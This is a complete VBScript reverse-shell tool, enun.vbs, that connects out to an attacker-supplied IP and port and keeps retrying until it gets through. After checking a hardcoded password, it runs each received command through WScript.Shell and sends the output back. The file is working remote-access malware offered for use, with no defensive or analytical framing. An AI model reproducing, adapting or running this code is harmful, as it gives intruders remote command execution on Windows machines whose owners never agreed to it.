'--------------------------------------------------------------------------
' Copyright (c) lxzzr. All rights reserved.
' ScriptName: enun.vbs
' Creation Date: 28/8/2012
' Last Modified: 28/8/2012
' Author: lxzzr, www.enun.net
' E-mail: lxzzr@21cn.com
' Usage: Cscript.exe //nologo enun.vbs IP Port
'--------------------------------------------------------------------------
On Error Resume Next
Public SocketObj, ExecObj, ShellObj
RemoteHost = Wscript.Arguments(0)
RemotePort = Wscript.Arguments(1)

Do
 Do While (SocketObj.State <> 7)
  WScript.Echo "Try Connect to " & RemoteHost & ":" & RemotePort & " ..."

  Set SocketObj = WScript.CreateObject("MSWinsock.Winsock")
  SocketObj.Protocol = 0
  SocketObj.RemoteHost = RemoteHost
  SocketObj.RemotePort = RemotePort
  SocketObj.Connect

  WScript.Sleep 3000
 Loop

 WScript.Echo "Connected to server."
 SocketObj.SendData SocketObj.LocalHostName & " is Connected, Enter Password: "
 Do While (SocketObj.BytesReceived = 0)
  WScript.Sleep 10
 Loop

 '密碼驗證
 SocketObj.GetData Authkey, vbString
 If Split(Authkey, chr(10), -1, 1)(0) = "enun" Then

  Set ShellObj = CreateObject("WScript.Shell")
  sRevData = " "
  SocketObj.SendData "Logon Success, Welcome!" & chr(13) & chr(10)

  '循環等待執行命令
  Do
   Set ExecObj = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))

   SocketObj.SendData ExecObj.StdOut.ReadAll
   SocketObj.SendData ExecObj.StdErr.ReadAll

   If sRevData <> "" Then
    SocketObj.SendData chr(10) & "[" & SocketObj.LocalHostName & "@" & "enun]#: "
   End If

   If Left(sRevData, 4) = "exit" Then
    SocketObj.Close
    Exit Do
   End If

   SocketObj.GetData sRevData, vbString
   WScript.Sleep 1000
  Loop
 Else
  LockoutBadCount = LockoutBadCount + 1
  SocketObj.SendData "Logon Failure: Unknown user name or bad password." & chr(13) & chr(10)
  WScript.Sleep 1000
 End If

 '賬戶策略
 If (LockoutBadCount > 3) Then
  SocketObj.SendData "The User Account is locked!" & chr(13) & chr(10)
  WScript.Sleep 1000
  SocketObj.Close
  LockoutBadCount = 0
  WScript.Sleep 600*1000
 End If
Loop